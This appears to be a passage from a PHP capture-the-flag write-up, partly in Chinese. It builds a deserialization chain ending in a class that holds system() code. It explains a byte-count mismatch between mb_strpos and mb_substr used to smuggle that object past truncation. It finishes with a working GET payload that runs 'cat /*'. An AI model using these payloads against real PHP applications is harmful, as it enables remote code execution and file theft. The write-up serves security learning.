$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="Hacker";

}

class C{
public $c;
}

class T{
public $t;
}
class F{
public $f;

}
class E{
public $e;

}
class R{
public $r = 'system("ls");';
}
$LFischl = new Hacker();
$LFischl->end = &$LFischl->username;
$LFischl->start = new C();
$LFischl->start->c = new T();
$LFischl->start->c->t = new F();
$LFischl->start->c->t->f = new E();
$LFischl->start->c->t->f->e = new R();
$Klee=array('1'=>$LFischl,'2'=>null);
echo serialize($Klee)."\n"."末尾2改为1"."\n";

$substr ="";
$ez_ser_from_you = 'a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:5:"Hacker";s:8:"username";R:9;}i:1;N;}';
echo $ez_ser_from_you."\n";
$ctf = new Hacker('{{{'.$ez_ser_from_you.'}}}');
$pre = $substr;
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
echo "\n经过substrstr函数操作的结果:\n".serialize($ctf);
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
/*
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"Hacker";s:8:"username";R:9;}i:2;N;}
末尾2改为1
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:5:"Hacker";s:8:"username";R:9;}i:1;N;}

经过substrstr函数操作的结果:
O:6:"Hacker":3:{s:5:"start";N;s:3:"end";N;s:8:"username";s:6:"Hacker";}
Fatal error: Uncaught Exception: 杂鱼~杂鱼~ in D:\tools\codetools\PHPtools\text.php on line 52

Exception: 杂鱼~杂鱼~ in D:\tools\codetools\PHPtools\text.php on line 52

Call Stack:
0.2082 417160 1. {main}() D:\tools\codetools\PHPtools\text.php:0

*/

每发送一个%f0abcmb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节

每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节

每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

由于

1
2
3
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:5:"Hacker";s:8:"username";R:9;}i:1;N;}

O:6:"Hacker":3:{s:5:"start";N;s:3:"end";N;s:8:"username";s:6:"Hacker";}

payload:

1
2
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab
&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("cat /*");";}}}}}s:3:"end";s:6:"Hacker";s:8:"username";R:9;}i:1;N;}